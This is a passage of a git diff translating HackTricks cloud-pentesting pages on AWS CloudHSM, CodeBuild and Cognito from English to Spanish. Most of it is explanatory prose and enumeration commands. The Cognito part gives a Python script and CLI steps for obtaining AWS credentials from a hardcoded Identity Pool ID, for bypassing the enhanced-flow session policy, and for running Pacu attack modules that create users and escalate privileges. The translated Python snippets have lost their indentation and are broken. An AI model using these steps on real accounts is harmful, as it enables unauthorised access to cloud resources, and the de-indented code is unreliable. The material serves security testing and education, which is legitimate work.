minutes assuming there is capacity, but in some zones there could not be. +Típicamente, un dispositivo está disponible en 15 minutos, asumiendo que hay capacidad, pero en algunas zonas podría no haberla. -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Dado que este es un dispositivo físico dedicado a usted, **las claves se almacenan en el dispositivo**. Las claves deben ser **replicadas a otro dispositivo**, respaldadas en almacenamiento fuera de línea, o exportadas a un dispositivo de reserva. **Este dispositivo no está respaldado** por S3 ni por ningún otro servicio en AWS como KMS. -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +En **CloudHSM**, debe **escalar el servicio usted mismo**. Debe aprovisionar suficientes dispositivos CloudHSM para manejar sus necesidades de cifrado basadas en los algoritmos de cifrado que ha elegido implementar para su solución.\ +El escalado del Servicio de Gestión de Claves es realizado por AWS y se escala automáticamente según la demanda, por lo que a medida que su uso crece, también podría aumentar el número de dispositivos CloudHSM que se requieren. Tenga esto en cuenta a medida que escale su solución y si su solución tiene escalado automático, asegúrese de que su escala máxima esté contemplada con suficientes dispositivos CloudHSM para atender la solución. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Al igual que el escalado, **el rendimiento depende de usted con CloudHSM**. El rendimiento varía según el algoritmo de cifrado utilizado y con qué frecuencia necesita acceder o recuperar las claves para cifrar los datos. El rendimiento del servicio de gestión de claves es manejado por Amazon y se escala automáticamente según la demanda. El rendimiento de CloudHSM se logra agregando más dispositivos y si necesita más rendimiento, simplemente agrega dispositivos o altera el método de cifrado al algoritmo que es más rápido. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +Si su solución es **multi-región**, debe agregar varios **dispositivos CloudHSM en la segunda región y resolver la conectividad entre regiones con una conexión VPN privada** o algún método para garantizar que el tráfico esté siempre protegido entre el dispositivo en cada capa de la conexión. Si tiene una solución multi-región, debe pensar en cómo **replicar claves y configurar dispositivos CloudHSM adicionales en las regiones donde opera**. Puede rápidamente entrar en un escenario donde tiene seis u ocho dispositivos distribuidos en múltiples regiones, habilitando la redundancia total de sus claves de cifrado. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** es un servicio de clase empresarial para el almacenamiento seguro de claves y puede ser utilizado como un **raíz de confianza para una empresa**. Puede almacenar claves privadas en PKI y claves de autoridad de certificación en implementaciones X509. Además de las claves simétricas utilizadas en algoritmos simétricos como AES, **KMS almacena y protege físicamente solo claves simétricas (no puede actuar como una autoridad de certificación)**, por lo que si necesita almacenar claves de PKI y CA, uno o dos o tres CloudHSM podrían ser su solución. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM es considerablemente más caro que el Servicio de Gestión de Claves**. CloudHSM es un dispositivo de hardware, por lo que tiene costos fijos para aprovisionar el dispositivo CloudHSM, luego hay un costo por hora para operar el dispositivo. El costo se multiplica por la cantidad de dispositivos CloudHSM que se requieren para cumplir con sus requisitos específicos.\ +Además, se debe considerar la compra de software de terceros como las suites de software SafeNet ProtectV y el tiempo y esfuerzo de integración. El Servicio de Gestión de Claves es basado en uso y depende del número de claves que tiene y de las operaciones de entrada y salida. Dado que la gestión de claves proporciona integración sin problemas con muchos servicios de AWS, los costos de integración deberían ser significativamente más bajos. Los costos deben considerarse un factor secundario en las soluciones de cifrado. El cifrado se utiliza típicamente para seguridad y cumplimiento. -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**Con CloudHSM, solo usted tiene acceso a las claves** y sin entrar en demasiados detalles, con CloudHSM usted gestiona sus propias claves. **Con KMS, usted y Amazon co-gestionan sus claves**. AWS tiene muchas salvaguardias de políticas contra el abuso y **aún no puede acceder a sus claves en ninguna de las soluciones**. La principal distinción es el cumplimiento en lo que respecta a la propiedad y gestión de claves, y con CloudHSM, este es un dispositivo de hardware que usted gestiona y mantiene con acceso exclusivo para usted y solo para usted. -### CloudHSM Suggestions +### Sugerencias de CloudHSM -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. Siempre implemente CloudHSM en una **configuración HA** con al menos dos dispositivos en **zonas de disponibilidad separadas**, y si es posible, implemente un tercero ya sea en las instalaciones o en otra región de AWS. +2. Tenga cuidado al **inicializar** un **CloudHSM**. Esta acción **destruirá las claves**, así que tenga otra copia de las claves o esté absolutamente seguro de que no las necesita y nunca, jamás necesitará estas claves para descifrar datos. +3. CloudHSM solo **soporta ciertas versiones de firmware** y software. Antes de realizar cualquier actualización, asegúrese de que el firmware y/o software sea compatible con AWS. Siempre puede contactar al soporte de AWS para verificar si la guía de actualización no está clara. +4. La **configuración de red nunca debe ser cambiada.** Recuerde, está en un centro de datos de AWS y AWS está monitoreando el hardware base por usted. Esto significa que si el hardware falla, lo reemplazarán por usted, pero solo si saben que ha fallado. +5. El **reenvío de SysLog no debe ser eliminado o cambiado**. Siempre puede **agregar** un reenvío de SysLog para dirigir los registros a su propia herramienta de recopilación. +6. La configuración de **SNMP** tiene las mismas restricciones básicas que la red y la carpeta de SysLog. Esto **no debe ser cambiado o eliminado**. Una configuración adicional de SNMP está bien, solo asegúrese de no cambiar la que ya está en el dispositivo. +7. Otra buena práctica interesante de AWS es **no cambiar la configuración de NTP**. No está claro qué sucedería si lo hiciera, así que tenga en cuenta que si no utiliza la misma configuración de NTP para el resto de su solución, podría tener dos fuentes de tiempo. Solo esté consciente de esto y sepa que el CloudHSM debe permanecer con la fuente NTP existente. -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +El cargo inicial por el lanzamiento de CloudHSM es de $5,000 para asignar el dispositivo de hardware dedicado para su uso, luego hay un cargo por hora asociado con la operación de CloudHSM que actualmente es de $1.88 por hora de operación, o aproximadamente $1,373 por mes. -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +La razón más común para usar CloudHSM son los estándares de cumplimiento que debe cumplir por razones regulatorias. **KMS no ofrece soporte de datos para claves asimétricas. CloudHSM le permite almacenar claves asimétricas de forma segura**. -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +La **clave pública se instala en el dispositivo HSM durante el aprovisionamiento** para que pueda acceder a la instancia de CloudHSM a través de SSH. -### What is a Hardware Security Module +### ¿Qué es un Módulo de Seguridad de Hardware? -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +Un módulo de seguridad de hardware (HSM) es un dispositivo criptográfico dedicado que se utiliza para generar, almacenar y gestionar claves criptográficas y proteger datos sensibles. Está diseñado para proporcionar un alto nivel de seguridad al aislar física y electrónicamente las funciones criptográficas del resto del sistema. -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +La forma en que funciona un HSM puede variar según el modelo y fabricante específicos, pero generalmente, ocurren los siguientes pasos: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **Generación de claves**: El HSM genera una clave criptográfica aleatoria utilizando un generador de números aleatorios seguro. +2. **Almacenamiento de claves**: La clave se **almacena de forma segura dentro del HSM, donde solo puede ser accedida por usuarios o procesos autorizados**. +3. **Gestión de claves**: El HSM proporciona una gama de funciones de gestión de claves, incluyendo rotación de claves, respaldo y revocación. +4. **Operaciones criptográficas**: El HSM realiza una variedad de operaciones criptográficas, incluyendo cifrado, descifrado, firma digital e intercambio de claves. Estas operaciones se **realizan dentro del entorno seguro del HSM**, que protege contra el acceso no autorizado y la manipulación. +5. **Registro de auditoría**: El HSM registra todas las operaciones criptográficas y los intentos de acceso, que pueden ser utilizados para fines de auditoría de cumplimiento y seguridad. -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +Los HSM pueden ser utilizados para una amplia gama de aplicaciones, incluyendo transacciones en línea seguras, certificados digitales, comunicaciones seguras y cifrado de datos. A menudo se utilizan en industrias que requieren un alto nivel de seguridad, como finanzas, salud y gobierno. -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +En general, el alto nivel de seguridad proporcionado por los HSM hace que **sea muy difícil extraer claves en bruto de ellos, y intentar hacerlo a menudo se considera una violación de seguridad**. Sin embargo, puede haber **ciertos escenarios** donde una **clave en bruto podría ser extraída** por personal autorizado para propósitos específicos, como en el caso de un procedimiento de recuperación de claves. +### Enumeración ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..09b4447ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** es reconocido como un **servicio de integración continua completamente gestionado**. El propósito principal de este servicio es automatizar la secuencia de compilación del código fuente, ejecución de pruebas y empaquetado del software para fines de implementación. El beneficio predominante que ofrece CodeBuild radica en su capacidad para aliviar la necesidad de que los usuarios provisionen, gestionen y escalen sus servidores de construcción. Esta conveniencia se debe a que el servicio mismo gestiona estas tareas. Las características esenciales de AWS CodeBuild incluyen: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Servicio Gestionado**: CodeBuild gestiona y escala los servidores de construcción, liberando a los usuarios del mantenimiento del servidor. +2. **Integración Continua**: Se integra con el flujo de trabajo de desarrollo e implementación, automatizando las fases de construcción y prueba del proceso de lanzamiento de software. +3. **Producción de Paquetes**: Después de las fases de construcción y prueba, prepara los paquetes de software, dejándolos listos para la implementación. -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild se integra sin problemas con otros servicios de AWS, mejorando la eficiencia y confiabilidad del pipeline de CI/CD (Integración Continua/Implementación Continua). -### **Github/Gitlab/Bitbucket Credentials** +### **Credenciales de Github/Gitlab/Bitbucket** -#### **Default source credentials** +#### **Credenciales de fuente predeterminadas** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +Esta es la opción heredada donde es posible configurar algún **acceso** (como un token de Github o una aplicación) que será **compartido entre proyectos de codebuild** para que todos los proyectos puedan usar este conjunto de credenciales configurado. -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +Las credenciales almacenadas (tokens, contraseñas...) son **gestionadas por codebuild** y no hay ninguna forma pública de recuperarlas de las APIs de AWS. -#### Custom source credential +#### Credencial de fuente personalizada -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +Dependiendo de la plataforma del repositorio (Github, Gitlab y Bitbucket) se proporcionan diferentes opciones. Pero en general, cualquier opción que requiera **almacenar un token o una contraseña lo almacenará como un secreto en el administrador de secretos**. -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. - -### Enumeration +Esto permite que **diferentes proyectos de codebuild utilicen diferentes accesos configurados** a los proveedores en lugar de solo usar el predeterminado configurado. +### Enumeración ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,33 +47,28 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +En la siguiente página, puedes verificar cómo **abusar de los permisos de codebuild para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-codebuild-post-exploitation/ {{#endref}} -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..7f4ecd4b9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognito se utiliza para **autenticación, autorización y gestión de usuarios** en aplicaciones web y móviles. Permite a los usuarios la flexibilidad de iniciar sesión directamente usando un **nombre de usuario y contraseña** o indirectamente a través de un **tercero**, incluyendo Facebook, Amazon, Google o Apple. -Central to Amazon Cognito are two primary components: +Central a Amazon Cognito son dos componentes principales: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **User Pools**: Estos son directorios diseñados para los usuarios de tu aplicación, ofreciendo **funcionalidades de registro e inicio de sesión**. +2. **Identity Pools**: Estos grupos son fundamentales para **autorizar a los usuarios a acceder a diferentes servicios de AWS**. No están directamente involucrados en el proceso de inicio de sesión o registro, pero son cruciales para el acceso a recursos después de la autenticación. ### **User pools** -To learn what is a **Cognito User Pool check**: +Para aprender qué es un **Cognito User Pool check**: {{#ref}} cognito-user-pools.md @@ -21,14 +21,13 @@ cognito-user-pools.md ### **Identity pools** -The learn what is a **Cognito Identity Pool check**: +Para aprender qué es un **Cognito Identity Pool check**: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,14 +71,13 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` +### Identity Pools - Enumeración No Autenticada -### Identity Pools - Unauthenticated Enumeration +Solo **conocer el ID del Pool de Identidad** podría permitirte **obtener credenciales del rol asociado a usuarios no autenticados** (si los hay). [**Consulta cómo aquí**](cognito-identity-pools.md#accessing-iam-roles). -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +### User Pools - Enumeración No Autenticada -### User Pools - Unauthenticated Enumeration - -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** +Incluso si **no conoces un nombre de usuario válido** dentro de Cognito, podrías **enumerar** nombres de **usuario válidos**, **BF** las **contraseñas** o incluso **registrar un nuevo usuario** solo **conociendo el ID del cliente de la App** (que generalmente se encuentra en el código fuente). [**Consulta cómo aquí**](cognito-user-pools.md#registration)**.** ## Privesc @@ -87,20 +85,16 @@ Even if you **don't know a valid username** inside Cognito, you might be able to ../../aws-privilege-escalation/aws-cognito-privesc.md {{#endref}} -## Unauthenticated Access +## Acceso No Autenticado {{#ref}} ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Persistence +## Persistencia {{#ref}} ../../aws-persistence/aws-cognito-persistence.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..53b7dc029 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,16 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: - -- Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities +Los grupos de identidades desempeñan un papel crucial al permitir que sus usuarios **adquieran credenciales temporales**. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluyendo, entre otros, Amazon S3 y DynamoDB. Una característica notable de los grupos de identidades es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad compatibles incluyen: +- Grupos de usuarios de Amazon Cognito +- Opciones de inicio de sesión social como Facebook, Google, Login with Amazon y Sign in with Apple +- Proveedores compatibles con OpenID Connect (OIDC) +- Proveedores de identidad SAML (Security Assertion Markup Language) +- Identidades autenticadas por desarrolladores ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Para generar sesiones de Identity Pool, primero necesitas **generar un Identity ID**. Este Identity ID es la **identificación de la sesión de ese usuario**. Estas identificaciones pueden tener hasta 20 conjuntos de datos que pueden almacenar hasta 1MB de pares clave-valor. -This is **useful to keep information of a user** (who will be always using the same Identity ID). +Esto es **útil para mantener información de un usuario** (que siempre estará usando el mismo Identity ID). -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +Además, el servicio **cognito-sync** es el servicio que permite **gestionar y sincronizar esta información** (en los conjuntos de datos, enviando información en flujos y mensajes de SNS...). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte de MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de pool de identidad utilizables, roles asumibles en tokens de id, etc. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un pool de identidad y cliente de pool de usuarios dados: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidad, usuarios, etc. visibles en la cuenta de AWS actual: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalación de grupos de identidad. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. - -#### Installation - +#### Instalación ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Uso ```bash $ cognito-scanner --help ``` +Para más información, consulta https://github.com/padok-team/cognito-scanner -For more information check https://github.com/padok-team/cognito-scanner +## Accediendo a Roles de IAM -## Accessing IAM Roles +### No autenticado -### Unauthenticated - -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +Lo único que un atacante necesita saber para **obtener credenciales de AWS** en una aplicación de Cognito como usuario no autenticado es el **ID del Pool de Identidad**, y este **ID debe estar codificado** en la **aplicación** web/móvil para que se use. Un ID se ve así: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (no se puede forzar por fuerza bruta). > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> El **rol de IAM Cognito no autenticado creado a través de** se llama por defecto `Cognito_Unauth_Role` +Si encuentras un ID de Pool de Identidad codificado y permite usuarios no autenticados, puedes obtener credenciales de AWS con: ```python import requests @@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +O podrías usar los siguientes **aws cli commands**: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> Tenga en cuenta que por defecto un usuario cognito **no autenticado NO PUEDE tener ningún permiso, incluso si se le asignó a través de una política**. Consulte la siguiente sección. -### Enhanced vs Basic Authentication flow +### Flujo de autenticación mejorado vs básico -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +La sección anterior siguió el **flujo de autenticación mejorado por defecto**. Este flujo establece una **política de sesión** [**restrictiva**](../../aws-basic-information/#session-policies) para la sesión de rol IAM generada. Esta política solo permitirá que la sesión [**utilice los servicios de esta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (incluso si el rol tenía acceso a otros servicios). +Sin embargo, hay una manera de eludir esto, si el **grupo de identidades tiene habilitado el "Flujo Básico (Clásico)"**, el usuario podrá obtener una sesión utilizando ese flujo que **no tendrá esa política de sesión restrictiva**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> Si recibes este **error**, es porque el **flujo básico no está habilitado (por defecto)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +Teniendo un conjunto de credenciales de IAM, deberías verificar [qué acceso tienes](../../#whoami) y tratar de [escalar privilegios](../../aws-privilege-escalation/). -### Authenticated +### Autenticado > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> Recuerda que a los **usuarios autenticados** probablemente se les otorguen **permisos diferentes**, así que si puedes **registrarte dentro de la aplicación**, intenta hacerlo y obtener las nuevas credenciales. -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +También podría haber **roles** disponibles para **usuarios autenticados que acceden al Identity Pool**. -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +Para esto, podrías necesitar tener acceso al **proveedor de identidad**. Si ese es un **Cognito User Pool**, tal vez puedas abusar del comportamiento por defecto y **crear un nuevo usuario tú mismo**. > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> El **rol autenticado de 